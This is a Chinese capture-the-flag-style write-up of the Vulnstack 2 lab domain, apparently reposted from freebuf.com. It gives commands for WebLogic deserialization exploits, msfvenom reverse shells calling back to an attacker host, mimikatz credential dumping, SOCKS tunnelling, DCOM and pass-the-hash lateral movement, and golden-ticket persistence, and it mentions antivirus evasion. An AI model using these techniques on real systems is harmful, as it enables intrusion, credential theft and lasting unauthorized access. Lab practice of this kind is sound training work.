Vulnstack(二)writeup – 作者:secur1ty

前言

最近做了做红日的vulnstack,感觉蛮好玩的,写篇文章记录一下解题过程。

环境搭建

首先配置模拟内外网环境

W2lJ54.png

其中,10.10.10.0为内网网段

192.168.111.0为模拟外网网段

本次靶场靶机共三台,网络配置分别如下

WEB:

W2ouWT.png

拥有两张网卡,一台连接外网,另一台连接内网

进入weblogic目录手动开启weblogic

图片[3]-Vulnstack(二)writeup – 作者:secur1ty-安全小百科

WWcIG4.png

PC:

W2oMSU.png

拥有两张网卡,一张连接外网,一张连接内网

DC:

W2o06e.png

拥有一张网卡,只能与内网中主机通信

本次实验网络拓扑

W27yJP.png

从攻击机上只能直接访问到WEB上开放的web服务

实验开始

首先扫描已知web服务器开放端口及服务

nmap -sV 192.168.111.80

-sV意思是探测开放端口以确定服务/版本信息

WWWSWF.png

可以看出在目标主机上1433端口运行着mysql服务,3389被防火墙所保护,7001端口开放着weblogic服务,看到weblogic

我们首先便想到是否存在曾经爆出过的RCE

从GitHub上找一个weblogin漏扫扫一波

python WeblogicScan.py 192.168.111.80 7001

WWzfjs.png

扫出了后台地址泄露与两个CVE,从百度上看了看,每个版本的 WeblogicScan扫出来的好像都不太一样。。。

首先去后台爆破一下弱密码试试

WfS6q1.png

可惜没有成功,那么便试一试CVE_2018_2628

从网上找一个该漏洞的利用脚本打打试试:

git clone https://github.com/jas502n/CVE-2018-2628.git

WfPVW8.png

python CVE-2018-2628-Getshell.py 192.168.111.80 7001 123456.jsp

这里的shell名称可以自定义,不过注意必须长度为10个字符

WfkAF1.png

攻击成功后会返回一个命令运行的url点击进入便可以看到命令执行结果(whoami的base64结果为d2hvYW1pCg==)

WfkN6S.png

可以看到当前已经获得了WEB的管理员命令执行权限,接下来便是尝试上传一个msf马从而进一步扩大权限

首先在msf上生成一个powershell格式的马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=4444 -f psh-cmd > haixian.ps1

将生成的psl格式的文件中内容进行base64编码,放到参数tom中打一打,同时在msf中开启监听

打了半天没反应,又从网上找了好多其他的cve-2018-2628利用方法都没有成功(弟弟太菜了)

于是尝试换一个漏洞,之前我了解到,不同版本的weblogic扫描器扫出来结果不太相同,也就是说有可能目标存在该漏洞

而扫描器扫不出来,所以从网上看了看其他大佬们的解题过程,发现他们还扫描出了cve-2019-2725这个漏洞,恰好msf

中有对应的利用模块

search weblogic
use 5 
options
set target 1(因为默认target为0是针对unix系统的,而这里的靶机是windows)
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

W5cyL9.png

W5chRO.png

W5cIQe.png

可见回弹了管理员权限的meterpreter,至此,我们基本完成对与内地一台主机WEB的渗透,接下来开始域内信息收集并

横向移动

内网渗透

惯用的套路先查看本机信息再查看域信息

net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
ipconfig /all        #查询本机IP段,所在域等 
net config Workstation  #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 
net user           #本机用户列表
net group "domain computers" /domain   #查看域内所有的主机名 
net group "domain admins" /domain      #查看域管理员 
net group "domain controllers" /domain #查看域控

当我们运行net time /domain时系统提示禁止访问

WTK9kq.png

猜测此时用户不是域内用户而是本机用户,所以尝试切换用户再次进行信息收集

切换用户首先要知道其他用户的用户名和密码,先尝试msf自带的kiwi抓取提示没有system权限

load kiwi 
creds_wdigest

WTMsG6.png

WTM7z8.png

尝试简单的提权但是失败了

getsystem

WTQgf0.png

鉴于msf里面的kiwi模块经常不好使,所以我们上传一个自己的mimikatz再尝试抓取一次

upload /home/haixian/mimikatz.exe C://
shell
chcp 65001
cd C://
dir
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

WTl5gf.png

WTlLUs.png

WT17z6.png

WT1jdH.png

可见成功抓取了mssql、Administrator、de1ay、三个域用户的用户名和密码,接下来我们便切换到用户de1ay来进行信息

收集

runas  /user:Administrator cmd

跑了好几次都是这样

WTtpKx.png

提示要输入密码但是不给输入密码的时间,不知道为啥。。(有大佬知道的欢迎斧正~)

无奈只能放弃,既然域信息暂时查看不了那就先看看本机的吧

systeminfo
ipconfig /all
netstat -ano

WTtYzn.png

WTt8iQ.png

从系统信息里可以看到居然只打了三个补丁。。。(不愧是靶机),但是我们更感兴趣的是开放的3389

既然刚刚已经抓取到了三个用户的明文密码,我们便尝试打开远程桌面

rdesktop 192.168.111.80

WTUeDP.png

尝试使用de1ay用户登录,被提示没有远程桌面权限,那就尝试Administrator登录,登陆后提示修改密码,修改为

HONGRISEC@2021后成功登陆

WTwlCD.png

登录域管帐号之后我们就可以放心的进行域内信息收集了

net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain        #查看域用户
net config Workstation  #当前计算机名,全名,用户名,系统版本,工作站域,登陆域 
net group "domain computers" /domain   #查看域内所有的主机名 
net group "domain admins" /domain      #查看域管理员 
net group "domain controllers" /domain #查看域控

WT0jwq.png

WTBFX9.png

WTyJKg.png

WT6KL4.png

WTg9Ej.png

经过信息收集可以知道的信息有:目标内网存在域de1ay.com,域内三台主机包括域控DC以及PC和WEB,域管理员为

Administrator,接下来我们便以WEB为跳板机进行横向移动

在WEB上上传EW搭建代理

upload /home/haixian/ew-master c:\\

W7kaiF.png

在本地添加转接隧道

将本地1080端口收到的数据发送给5555端口

./ew_for_linux64 -s rcsocks -l 1080 -e 5555

WbVMzF.png

在跳板机执行

ew_for_Win.exe -s rssocks -d 192.168.111.128 -e 5555

WbmByF.png

Wbmyw9.png

kali上收到回显,隧道搭建成功

接下来配置kali上的代理工具

vim  /etc/proxychains.conf

Wbnx9x.png

接下来借助搭建好的隧道进行内网横向移动

首先扫描内网确定两台主机的ip

proxychains nmap -sS -Pn 10.10.10.0/24

首先尝试速度快的SYN扫描,但是失败了,考虑到可能是存在边界设备拦截了某些类型的扫描数据包

WbKksU.png

多次尝试最终都没有成功,那就换个方法,尝试用获取的meterpreter来收集内网信息

run get_local_subnets

WbNnxJ.png

添加路由

run autoroute -s 10.10.10.0/24

WbUkyd.png

添加成功后我们使用msf的udp_sweep模块,通过发送udp包的形式来探测目标内网内的活跃主机

search udp_sweep
use 0
options
set rhosts 10.10.10.0/24
set thread 50
run

WbDk6S.png

扫描发现内网中DC的ip为10.10.10.10,而PC的ip为10.10.10.201,接下来我们首先对PC展开渗透

PC

刚刚我们已经在WEB上抓到了域内账户的用户名与密码,接下来便可以尝试使用这几个账号与PC建立连接

net use \\10.10.10.201\ipc$ "HONGRISEC@2021" /user:administrator

WbrDCq.png

连接建立成功,尝试上传一个msf的马到PC上

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=1234 -f exe >haixian.exe

Wbs1Z4.png

首先上传到WEB上

upload /home/haixian/haixian.exe c://

WbsHWq.png

再由WEB通过刚刚建立的IPC连接传到PC上

copy c:\haixian.exe \\10.10.10.201\c$ /y

Wb6IGn.png

然后由WEB上的powershell通过DCOM控制PC执行haixian.exe

load powershell 
powershell_shell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.201"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\haixian.exe","Minimized")

WqVyEn.png

WqVL8K.png

可是发现session很快会断掉,猜测可能是PC上的360起了作用

所以尝试对生成的木马进行免杀,具体免杀方法详见文章https://www.freebuf.com/articles/network/270218.html

免杀处理后成功上线,查看当前权限为管理员

Wq8d29.png

至此PC已成功拿下,接下来向域控进军

DC

这个靶场里面PC与DC都用MSF扫出了永恒之蓝,但是可能由于防火墙的原因打不通,但是由于一开始我们就抓到了域管

账户名与密码,而且还抓到了哈希,这是一个突破口,尝试对域控采用哈希传递攻击

mimikatz.exe
sekurlsa::pth /domain:de1ay.com /user:Administrator /ntlm:662fb256a143db7df7ff0898c6cd8b2b

WqawF0.png

尝试访问域控

dir \\10.10.10.10\c$

Wqd9XQ.png

成功访问,接下来便是重复之前的套路,传马,利用DCOM执行

copy c:\haixian.exe \\10.10.10.10\c$

Wqd7CV.png

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.10"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\haixian.exe","Minimized")

成功回弹

WqwrqJ.png

成功拿下域控

后渗透

在实战情况下拿下一台主机的最高权限并不意味着渗透的结束,我们还需要利用已经取得的权限在目标主机上留有后门以

方便日后的“访问”

制作并加载黄金票据

mimikatz.exe
lsadump::lsa /patch
kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:haixian.kirbi

注意ntlm值是密钥分发中心对应的值

kerberos::ptt ticket.kirbi

制作成功后把票据加载到内存里,然后就可以始终以最高权限访问域控了!

写在后面

这个靶场相较于上一个难度总体上说有所提升,考察到了weblogic反序列化漏洞的发现与利用以及哈希传递、黄金票据、

永恒之蓝、木马免杀、$ipc的搭建、DCOM的利用等等知识,比较适合新手进阶练习,接下来笔者会挑战更难一些的靶

场,敬请期待。

感谢阅读,溜了溜了~

部分内容参考大佬文章:https://whoamianony.top/2021/02/04/渗透测试/vulnstack/记一次Vulnstack靶场内网渗透(四)/

来源:freebuf.com 2021-07-29 21:57:29 by: secur1ty

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论